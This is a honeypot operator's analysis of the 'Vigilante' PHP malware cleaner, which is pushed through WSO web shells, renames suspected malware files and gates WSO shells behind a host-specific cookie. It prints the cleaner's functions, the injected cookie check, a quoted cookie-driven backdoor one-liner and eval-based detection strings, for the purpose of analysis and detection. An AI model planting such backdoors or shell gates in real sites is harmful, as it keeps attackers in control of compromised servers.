Skip to content

Latest commit

 

History

History

vigilante_suspected

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Vigilante Malware Cleaner

2018-05-22

PHP downloaded to WSO web shell's "RC" action for immediate eval that finds 56 different indications of PHP malware, counts those indications, returning the counts to the invoker. It renames most files containing an indication of PHP malware. Some files it leaves alone, while it injects PHP into WSO web shells that only allows requests with a compromised-host-specific cookie to access them.

It's possible that this code has been around and in use for a long time, although the evidence is indirect.

Googling for the salt string used in the code injected into WSO instances, "salt1I*@#31RTds34+543sf", nets me an undated instance of one of those "PHP decoder" web pages (ddecode.com) containing a version of the decision and cleanup functions only. I kept a copy of this in case the web version disappears. It appears to be a somewhat earlier version of the functions than my 2016 capture, but confusingly, it has one function from a later capture.

Looks like this Vigilante AV effort started June of 2015 or so.

The 2015-12-15 report has code that one of the matching functions would flag exactly.

There is ongoing development relating to which strings indicate compromised files.

Origin

Download

Looks like the attacker(s) think they send code to a WSO web shell. They use WSO's "RC" action, which immediately eval's any PHP code that arrives in the 'p1' HTTP POST parameter.

Analysis

This analyis applies generally, but I did it specifically on the 2018-05-19 instance. I first recognized the 2018-05-19 instance as something interesting, despite my honey pot having previous instances on 2016-04-17 and 2018-02-24.

The downloaded code consists of an unencoded portion, a base64-encoded set of function definitions, and a serialized, base64-encoded array-of-arrays.

Unencoded portion

This looks a lot like boilerplate code for a program dropper that's used to install a variety of PHP malware. The Code-in-cookie back door has an almost exact copy of the GetDocRoot() function, and the back door's GetDirectoryList() is clearly the ancestor of this code's GetFileList() function.

Between functions GetDocRoot() and GetFileList(), the code produces a list of files, probably all files under Apache's DocumentRoot directory. Circumstances exist where some subdirectory of Apache's DocumentRoot or even "/" (the root of the filesystem) might be used.

Set of function definitions

The code creates 112 oddly-named functions via the old favorite eval(base64_decode()) function composition. Half (56) of the functions have an argument named $path, the other half have an argument named $content. The 56 functions with an argument named $path are identical except for the function name. As an example:

function gzfkylyosi($path)
{
    if (!@rename($path, $path . ".suspected")) {
        @unlink($path);
    }
}

Most these 56 functions either rename a file to have ".suspected" as a suffix, or they delete the file. A few files' contents get them special treatement. See below.

The other 56 functions, all having one formal argument named $content, check for the presence of various strings. These functions vary in complexity, but a typical function looks like this:

function rzbvtgkg($content)
{
    if (strpos($content, "b374k 2.8") !== FALSE) {
        return TRUE;
    }
    return FALSE;
}

It appears that each of the 56 $content functions looks for a string or strings that appear in a particular PHP malware. The above function clearly returns TRUE if it finds a b374k web shell.

Serialized array-of-arrays

Once base64-decoded and unserialized, the array-of-arrays named $defs contains entries like this:

{15, "rtob", "gfjsi"}

There are 56 of these entries. Each string in the entry matches the name of a function. For the entry above:

function rtob($content)
{
    if (strpos($content, "if(mail(\$MailTo,") !== FALSE) {
        if (substr_count($content, ")") == 14) {
            return TRUE;
        }
    }
    return FALSE;
}
function gfjsi($path)
{
    if (!@rename($path, $path . ".suspected")) {
        @unlink($path);
    }
}

One function to identify a file that might or probably contains PHP malware code, and one function to rename the file to "file.suspected".

Interestingly, the 0-element of the entries are not numbered consecutively, running from 2 to 198. Did more signatures appear in previous versions of this code in the past?

The three parts of this malware look for "signatures" of other PHP malware, then renames the files found. It counts the number of each signature it finds, and prints out a base64-encoded serialization of the array of counts of signatures. That's clearly a machine-readable summary of what it found.

Some malware that it will rename if found

  • b374k web shell, but only v2.8
  • Anything FOPO-encoded
  • nptzow
  • Itself, but it's careful to not count itself twice
  • JavaScript from "Ayildiz Tim" Turkish hackers' HTML
  • Anything with the string '<?php @eval($_POST[', which should catch a lot of the 1-liner backdoors in WordPress themes or plugins
  • Anything with the string eval(gzinflate(base64_decode(, which catches a lot of droppers
  • Anything with a URL that Spam Blocklist Recon malware often uses

Special treatment of WSO web shells

Every incarnation of this malware has treated WSO web shells specially. It calculates a random-looking string:

$auth_token = md5(md5($_SERVER['HTTP_HOST']) . $_SERVER['HTTP_HOST'] . "salt1I*@#31RTds34+543sf");

It uses that random-looking string, which is specific to the compromised WordPress site's DNS name, along with some PHP code at the beginning of the WSO file:

if (!isset($_COOKIE['227e948fdbaaeccbbb7b3f42fbe848e8'])) {header('HTTP/1.0 404 Not Found');exit;}

WSO shells are now inaccessible if your browser doesn't send a DNS-name-specific cookie name. WSO shells aren't neutralized like most other PHP malware. The cookie name shown is from the DNS name of my WordPress honey pot.

I should note that the test for WSO-file-contents will return FALSE if the WSO file has already received the cookie check above - the malware does not put in the cookie-name-check twice.

Every WSO (honey pot WSO) access made by these attackers has just such a cookie set. That is, the HTTP POST requests arrive with an "auth_token" cookie with a value as calculated above, and a WSO login cookie. WSO login cookies have the name md5($_SERVER['HTTP_HOST']), and a value of the MD5 hash of some password. It only makes sense to send along the vigilante cookie: unmodified WSO only looks for login cookes. Extra cookies have no effect on WSO requests.

Oldest Vigilante Cookie I've got

I've been running a WordPress honey pot off and on since May 2013. I have kept copies of the interesting files that got sent to my honey pot. I looked for Vigilante Cookies (those with name and value of md5(md5($_SERVER['HTTP_HOST']) . $_SERVER['HTTP_HOST'] . "salt1I*@#31RTds34+543sf");) in my unexamined files.

I found a Vigilante cookie in a download dated 2015-09-22T11:33:05.764-060. This lines up with the June 2015 date of the earlier complaints about ".suspected" suffix file names.

Other special treatments

The 2018-02-24 variant, in addition to extra protection on WSO shells, has a couple of weird fix-ups.

Files containing a specific line of PHP:

if (isset($_COOKIE["id"])) @$_COOKIE["user"]($_COOKIE["id"]);

have that line removed:

function gmcbedtlo($path)
{   
    @file_put_contents(
        $path,
        str_replace(
            "if (isset(\$_COOKIE[\"id\"])) @\$_COOKIE[\"user\"](\$_COOKIE[\"id\"]);",
            "",
            @file_get_contents($path)
        )
    );
}

It looks like function gmcbedtlo() is getting rid of an obscure backdoor, where a function name arrives in a cookie named "user", and arguments arrive in a cookie named "id". But why? Files containing other backdoors just get summarily renamed.

The 2018-02-24 version (at least) has an interesting g-function (cleanup function).

function gxyomsosfm($path)
{
    $content = @file_get_contents($path);
    $start = strpos($content, "<" . "?php");
    if ($start !== FALSE) {
        $stop = strpos($content, "?" . ">", $start);
        $payload_pos = strpos($content, "};eval(\$");
        if ($stop != FALSE && $payload_pos !== FALSE && $payload_pos < $stop) {
            $stop += 2;
            @file_put_contents($path, substr($content, $stop));
        }
    }
}

It appears to cut off a trailing eval($some_variable) from a larger body of PHP code, and write the code less the trailing eval back to the file. I have no PHP malware that matches the r-function, so I can't definitively say what it does.

A good many r-functions (search functions) have g-functions (cleanup) that do nothing. This is a bit puzzling. It's possible that these "just ignore" g-functions exist so that the vigilance committee can get counts of some specific malware, to see if it's worth fixing/renaming later, or to test new r-functions.

".suspected" URLs accessed

I have Apache access_log files in "combined" format dating back to 2009. It looks like URIs with a ".suspected" suffix have shown up in the past, the earliest from 2016

2016-04-12 03:51:10-06 | 178.151.184.223 | /wp-content/plugins/wp-arm-config/antibot.php.suspected

Bizarrely, some URLs I found in my logs have a ".suspected_" suffix, perhaps another layer of moving the code around.

I don't understand accessing those URLs, as Apache/2.4.33 seems to just send any such file's contents, but without a "Content-type:" header. Apache doesn't run the PHP interpreter on the URL's contents, so what's the point?

Ongoing Development

As of 2019-10-26 my honey pot has received 21 downloads of this malware. Because the search and cleanup function names consist of random series of characters, a little further analysis seems in order.

Attack Date Attacking IP netblock netname
2016-04-17 198.199.100.82 198.199.64.0/18 DIGITALOCEAN-5
2018-02-24 198.71.239.32 198.71.128.0/17 GO-DADDY-COM-LLC
2018-05-19 198.71.239.41 198.71.128.0/17 GO-DADDY-COM-LLC
2018-11-14 192.185.4.121 192.185.0.0/16 HGBLOCK-10
2018-11-20 108.179.194.80 108.179.192.0/18 HGBLOCK-5
2018-11-22 94.46.15.160 94.46.12.0/22 PT-ALMOUROLTEC
2018-11-23 91.236.153.247 91.236.153.0/24 DIS-91-236-153
2018-11-25 92.61.148.226 92.61.144.0/20 SRVG-NET-HH1-H5-1
2018-11-26 160.153.147.139 160.153.0.0/16 GO-DADDY-COM-LLC
2019-02-09 120.79.20.249 120.76.0.0/14 ALISOFT
2019-06-22 192.185.83.12 192.185.0.0/16 HGBLOCK-10
2019-07-02 162.144.181.154 162.144.0.0/16 UNIFIEDLAYER-NETWORK-14
2019-07-19 178.62.197.23 DIGITALOCEAN-AMS-5
2019-08-28 50.116.86.90 50.116.64.0/18 HGBLOCK-3
2019-09-16 69.195.124.51 69.195.64.0/18 UNIFIEDLAYER-NETWORK-7
2019-09-23 184.168.46.162 184.168.0.0/16 GO-DADDY-COM-LLC
2019-09-24 192.185.4.65 192.185.0.0/16 HGBLOCK-10
2019-09-26 86.109.167.204 86.109.167.0/24 ABANSYS_AND_HOSTYTEC-NET
2019-09-27 79.170.40.37 79.170.40.0/21 HEART-INTERNET
2019-09-28 208.91.198.52 208.91.198.0/23 PUBLICDOMAINREGISTRY-NETWORKS
2019-09-29 108.179.242.207 108.179.192.0/18 HGBLOCK-5

I have not updated the above table to include downloads aftet 2019-09-29.

They do show a preference for GoDaddy and WebsiteWelcome.com (50.116.86.90, HGBLOCK-5, HGBLOCK-10), but they've never used the same IP address twice, and addresses are internationally distributed.

p0f3 identifies a variety of Linux versions as the operating systems at those IP addresses.

Each downloaded file has an array named $defs, deserialized from a base64-encoded string. Each element of array $defs consists of a triplet: [serial number, search function name, cleanup function name]

Each downloaded file also has a set of detection and cleanup functions. It turns out that although they have function names that consist of a set of between 4 and 11 randomly-selected lowercase ASCII characters, most of the bodies of the functions remain the same relative to the serial number from the deserialized arrays. That is, even though in the 2016-04-17 capture the r-function for serial number 5 is named "rfazvgeouq", and in the 2019-07-19 capture, the r-function for serial number 5 is named "rblxtndnz", the function bodies are identical.

Even though the serial numbers that appear in deserialized arrays have the same function body in each capture, the captures differ in which and how many serial numbers and function appear. By careful observation, we can get hints about what the authors want from their malware.

Function Count

The 2016-04-17 (oldest) download has 55 serial numbers, detection functions, and cleanup functions. If we track each download from there, we can see how fast the Vigilance Committee changes what they look for, and what they do with it.

Capture date Serial Number Count Deletions Additions
2018-02-24 88 41 74
2018-05-19 56 34 2
2018-11-14 59 22 25
2018-11-20 60 0 1
2018-11-22 60 0 0
2018-11-23 60 0 0
2018-11-25 60 0 0
2018-11-26 61 0 1
2019-02-09 67 9 15
2019-06-22 76 1 10
2019-07-02 76 0 0
2019-07-19 78 0 2
2019-08-28 84 0 6
2019-08-28 84 0 0
2019-08-28 84 0 0
2019-09-16 85 0 1
2019-09-16 85 0 0
2019-09-16 85 0 0
2019-09-16 85 0 0
2019-09-23 85 0 0
2019-09-23 85 0 0
2019-09-24 85 0 0
2019-09-24 85 0 0
2019-09-25 85 0 0
2019-09-26 85 0 0
2019-09-26 85 0 0
2019-09-27 85 0 0
2019-09-27 85 0 0
2019-09-28 85 0 0
2019-09-28 85 0 0
2019-09-29 85 0 0
2019-09-29 85 0 0
2019-09-30 85 0 0
2019-10-01 85 0 0
2019-10-01 85 0 0
2019-10-03 85 0 0
2019-10-03 85 0 0
2019-10-16 85 0 0
2019-10-17 85 0 0
2019-10-22 70 15 0
2019-10-22 70 0 0
2019-10-23 74 0 4
2019-10-23 74 0 0
2019-10-24 103 4 33
2019-10-24 103 0 0
2019-10-25 80 23 0
2019-10-25 80 0 0
2019-10-26 80 0 0
2019-10-27 80 0 0
2019-10-27 80 0 0
2019-10-28 80 0 0
2019-10-28 80 0 0
2019-10-29 80 0 0
2019-10-29 80 0 0
2019-10-30 80 0 0
2019-10-30 80 0 0
2019-10-31 80 0 0
2019-10-31 80 0 0
2019-11-01 80 0 0
2019-11-01 80 0 0
2019-11-02 80 0 0
2019-11-02 80 0 0
2019-11-03 80 0 0
2019-11-03 80 0 0
2019-11-04 80 0 0
2019-11-04 80 0 0
2019-11-05 80 0 0
2019-11-05 80 0 0
2019-11-06 80 0 0
2019-11-06 80 0 0
2019-11-07 80 0 0
2019-11-07 80 0 0
2019-11-08 80 0 0
2019-11-08 80 0 0
2019-11-09 80 0 0
2019-11-10 80 0 0
2019-11-10 80 0 0
2019-11-11 80 0 0
2019-11-11 80 0 0
2019-11-12 81 0 1
2019-11-12 81 0 0
2019-11-13 110 0 29
2019-11-13 110 0 0
2019-11-14 100 10 0
2019-11-14 100 0 0
2019-11-15 82 18 0
2019-11-15 82 0 0
2019-11-16 82 0 0

I generated the above table with a script. The 2018-11-22, 2018-11-23 and 2018-11-25 captures are identical to the 2018-11-20 capture. The 2019-07-02 is identical to the 2019-06-22 capture. 2019-09-23 through 2019-10-17 are identical to the 2019-09-16 capture.

Looks like at least 3 purges took place, once between 2016-04-17 and 2018-02-27, between 2018-02-27 and 2018-05-19, and a bit of a mess at 2019-10-22 and 2019-10-25 Other than that, the trend is to add more functions than get deleted.

Serial Number Initial appearance Final appearance
2 2016-04-17 2019-11-16
3 2016-04-17
5 2016-04-17 2019-11-16
6 2016-04-17
8 2016-04-17
9 2016-04-17
11 2016-04-17
12 2016-04-17
13 2016-04-17
15 2016-04-17 2019-11-16
16 2016-04-17
17 2016-04-17
18 2016-04-17 2019-11-16
19 2016-04-17
20 2016-04-17
23 2016-04-17 2019-11-16
24 2016-04-17 2018-02-24
26 2016-04-17
27 2016-04-17
28 2016-04-17
33 2016-04-17
34 2016-04-17 2018-05-19
36 2016-04-17 2019-11-16
41 2016-04-17
42 2016-04-17 2019-11-16
43 2016-04-17
44 2016-04-17
45 2016-04-17
46 2016-04-17
47 2016-04-17
48 2016-04-17
49 2016-04-17 2018-02-24
50 2016-04-17
51 2016-04-17
52 2016-04-17
53 2016-04-17
54 2016-04-17 2019-11-16
55 2016-04-17
57 2016-04-17
58 2016-04-17
59 2016-04-17
60 2016-04-17 2019-11-16
61 2016-04-17
62 2016-04-17 2018-02-24
63 2016-04-17
64 2016-04-17
65 2016-04-17
66 2016-04-17
67 2016-04-17
68 2016-04-17
69 2016-04-17 2018-05-19
70 2016-04-17
71 2016-04-17
72 2016-04-17
74 2016-04-17
79 2018-02-24 2018-05-19
89 2018-02-24 2019-11-16
90 2018-02-24 2018-05-19
91 2018-02-24
95 2018-02-24 2018-05-19
96 2018-02-24
109 2018-02-24 2019-11-16
110 2018-02-24 2019-11-16
111 2018-02-24 2019-11-16
112 2018-02-24 2019-11-16
114 2018-02-24
115 2018-02-24 2019-11-16
116 2018-02-24 2018-05-19
118 2018-02-24 2019-11-16
119 2018-02-24 2018-05-19
123 2018-02-24 2018-05-19
125 2018-02-24 2018-05-19
126 2018-02-24 2019-11-16
127 2018-02-24 2019-10-17
128 2018-02-24 2018-05-19
129 2018-02-24
130 2018-02-24 2019-11-16
134 2018-02-24 2019-11-16
136 2018-02-24
137 2018-02-24 2018-05-19
138 2018-02-24 2019-11-16
140 2018-02-24
142 2018-02-24
143 2018-02-24
144 2018-02-24
145 2018-02-24
146 2018-02-24 2018-11-26
147 2018-02-24
148 2018-02-24 2019-11-16
149 2018-02-24
150 2018-02-24
153 2018-02-24 2018-05-19
155 2018-02-24
156 2018-02-24 2018-05-19
157 2018-02-24 2019-11-16
158 2018-02-24 2018-05-19
159 2018-02-24
160 2018-02-24 2018-05-19
161 2018-02-24
162 2018-02-24
163 2018-02-24 2019-11-16
164 2018-02-24
165 2018-02-24
166 2018-02-24 2018-11-26
167 2018-02-24
168 2018-02-24 2018-05-19
169 2018-02-24
170 2018-02-24
171 2018-02-24
172 2018-02-24 2019-10-17
173 2018-02-24
174 2018-02-24 2019-11-16
176 2018-02-24
177 2018-02-24 2018-05-19
178 2018-02-24
179 2018-02-24 2019-10-17
180 2018-02-24
182 2018-02-24 2018-05-19
183 2018-02-24
184 2018-02-24
185 2018-02-24
187 2018-02-24 2019-11-16
188 2018-02-24 2018-05-19
189 2018-02-24 2019-11-16
190 2018-02-24 2018-05-19
191 2018-02-24 2018-05-19
192 2018-02-24 2019-11-16
193 2018-02-24
194 2018-02-24 2018-05-19
196 2018-05-19 2019-11-16
198 2018-05-19 2019-11-16
199 2018-11-14 2019-11-16
200 2018-11-14 2019-11-16
201 2018-11-14 2019-11-16
203 2018-11-14 2019-11-16
206 2018-11-14 2019-10-17
209 2018-11-14 2019-11-16
210 2018-11-14 2019-11-16
212 2018-11-14 2019-10-17
213 2018-11-14 2019-11-16
214 2018-11-14 2019-11-16
215 2018-11-14 2019-11-16
216 2018-11-14 2019-11-16
217 2018-11-14 2019-11-16
218 2018-11-14 2019-11-16
219 2018-11-14 2018-11-26
220 2018-11-14 2018-11-26
221 2018-11-14 2019-11-16
222 2018-11-14 2019-11-16
223 2018-11-14 2019-11-16
224 2018-11-14 2019-11-16
225 2018-11-14 2019-10-17
226 2018-11-14 2018-11-26
227 2018-11-14 2018-11-26
228 2018-11-14 2018-11-26
229 2018-11-14 2018-11-26
230 2018-11-20 2019-10-17
231 2018-11-26
232 2019-02-09 2019-11-16
233 2019-02-09
235 2019-02-09 2019-10-17
236 2019-02-09 2019-11-16
237 2019-02-09 2019-11-16
238 2019-02-09 2019-11-16
239 2019-02-09 2019-10-17
240 2019-02-09 2019-11-16
241 2019-02-09 2019-11-16
242 2019-02-09 2019-11-16
243 2019-02-09 2019-11-16
244 2019-02-09 2019-10-17
245 2019-02-09 2019-11-16
246 2019-02-09 2019-11-16
247 2019-02-09 2019-11-16
248 2019-06-22 2019-10-17
249 2019-06-22 2019-11-16
250 2019-06-22 2019-11-16
251 2019-06-22 2019-10-17
252 2019-06-22 2019-11-16
253 2019-06-22 2019-11-16
254 2019-06-22 2019-11-16
255 2019-06-22 2019-10-17
256 2019-06-22 2019-11-16
257 2019-06-22 2019-11-16
258 2019-07-19 2019-10-17
259 2019-07-19 2019-11-16
260 2019-08-28 2019-11-16
261 2019-08-28 2019-11-16
262 2019-08-28 2019-11-16
263 2019-08-28 2019-11-16
264 2019-08-28 2019-11-16
265 2019-08-28 2019-10-17
266 2019-09-16 2019-11-16
267 2019-10-23 2019-10-23
268 2019-10-23 2019-10-23
269 2019-10-23 2019-10-23
270 2019-10-23 2019-10-23
307 2019-10-24 2019-10-24
308 2019-10-24 2019-11-16
309 2019-10-24 2019-10-24
310 2019-10-24 2019-11-16
311 2019-10-24 2019-10-24
312 2019-10-24 2019-11-16
313 2019-10-24 2019-10-24
314 2019-10-24 2019-10-24
315 2019-10-24 2019-10-24
316 2019-10-24 2019-10-24
317 2019-10-24 2019-10-24
318 2019-10-24 2019-10-24
319 2019-10-24 2019-10-24
320 2019-10-24 2019-10-24
321 2019-10-24 2019-10-24
322 2019-10-24 2019-11-16
323 2019-10-24 2019-11-16
324 2019-10-24 2019-10-24
325 2019-10-24 2019-10-24
326 2019-10-24 2019-11-16
327 2019-10-24 2019-10-24
328 2019-10-24 2019-10-24
329 2019-10-24 2019-10-24
330 2019-10-24 2019-10-24
331 2019-10-24 2019-10-24
332 2019-10-24 2019-10-24
333 2019-10-24 2019-10-24
334 2019-10-24 2019-10-24
335 2019-10-24 2019-11-16
336 2019-10-24 2019-10-24
337 2019-10-24 2019-11-16
338 2019-10-24 2019-11-16
339 2019-10-24 2019-11-16
340 2019-11-12 2019-11-16
341 2019-11-13 2019-11-13
342 2019-11-13 2019-11-13
343 2019-11-13 2019-11-13
344 2019-11-13 2019-11-14
345 2019-11-13 2019-11-14
346 2019-11-13 2019-11-13
347 2019-11-13 2019-11-13
348 2019-11-13 2019-11-14
349 2019-11-13 2019-11-13
350 2019-11-13 2019-11-14
351 2019-11-13 2019-11-14
352 2019-11-13 2019-11-16
353 2019-11-13 2019-11-14
354 2019-11-13 2019-11-14
355 2019-11-13 2019-11-14
356 2019-11-13 2019-11-14
357 2019-11-13 2019-11-14
358 2019-11-13 2019-11-14
359 2019-11-13 2019-11-13
360 2019-11-13 2019-11-13
361 2019-11-13 2019-11-13
362 2019-11-13 2019-11-14
363 2019-11-13 2019-11-14
364 2019-11-13 2019-11-14
365 2019-11-13 2019-11-13
366 2019-11-13 2019-11-14
367 2019-11-13 2019-11-14
368 2019-11-13 2019-11-14
369 2019-11-13

Detection Function Changes

function persistence

The above diagram shows the persistence of various detection functions across the versions my honey pot caught.

Functions for serial numbers 2, 5, 15, 18, 23, 36, 42, 54, 60 appear in every capture.

Serial Number Detects
2 Email cut-out
5 Immediate eval backdoor
15 Remailer
18 Immediate eval backdoor
23 Immediate eval backdoor
36 Anything encoded by http://www.fopo.com.ar/
42 WSO web shells without vigilante protection
54 ???
60 ???

I do not have attacks captured by my honey pot that get detected by serial numbers 5, 15, 18 and 60.

The WSO web shells that get detected are almost certainly unobfuscated, or only partially obfuscated. Oddly, some methods of WSO obfuscation often leaves a few lines of code outside the obfuscated part, and this detection function looks for those lines.

Changing cleanup functions

Seventeen of the cleanup functions change, even though the corresponding detection function never changed. Every one of these cleanup functions changes from a "no-op" to the function that appends ".suspected" to filenames that the detection function deems impure.

Serial Number First Appearance Changes to renaming
36 2016-04-17 2018-02-24
137 2018-02-24 2018-05-19
188 2018-02-24 2018-05-19
190 2018-02-24 2018-05-19
191 2018-02-24 2018-05-19
192 2018-02-24 2018-05-19
194 2018-02-24 2018-05-19
217 2018-11-14 2018-11-20
218 2018-11-14 2018-11-20
219 2018-11-14 2018-11-20
220 2018-11-14 2018-11-20
222 2018-11-14 2018-11-20
223 2018-11-14 2018-11-20
225 2018-11-14 2018-11-20
228 2018-11-14 2018-11-20
229 2018-11-14 2018-11-20
245 2019-02-09 2019-06-22

I don't think it's worth reading anything into intervals between catching a function, and it getting changed from no-op to renaming. The important part to note is that the first appearance of many of these cleanup functions is a no-op. A no-op function will increase the count for that serial number that's returned to the attacker(s).

Changed detection functions' bodies

Five detection functions change over the course of these captures.

Serial number Change
42 Accept more strings as indicating WSO web shell
54 ???
60 Accept a wider range of counts of sub-strings
130 Change string detected
216 make string searched for less specific

The interesting fact here is that every change makes the detection function accept more files, and all of these have appeared in most or all of the captures.

Implications of ongoing development

Why do they make the changes they do?

If a given serial number's detection function doesn't find malware in a while, they could remove that function, because they get a count of files back from the cleanup. We see functions disappearing from the lineup, and the gap in functions matching serial numbers 75 to 100 implies that even more of the early detection functions got eliminated. Apparently this happens.

The vigilante development team makes changes in the functions that this software uses to detect malware, and the functions that clean up files deemed worthy. Initially the cleanup function is a no-op, but later changes to the default renaming function. That's why I believe that the "do nothing" cleanup-functions exist. They allow the vigilance committee to test new detection functions in the wild, and to see what prevalence of malware actually exists. They may have a better idea of what PHP malware occurs in the wild than the anti-virus companies have.

Since the code preserves access to WSO shells, you have to question the motives of the vigilance committee. They clearly aren't behaving 100% altruistically. Attackers, or someone they've delegated, actually set the vigilante cookie in downloads to the emulated WSO in my WordPress honey pot.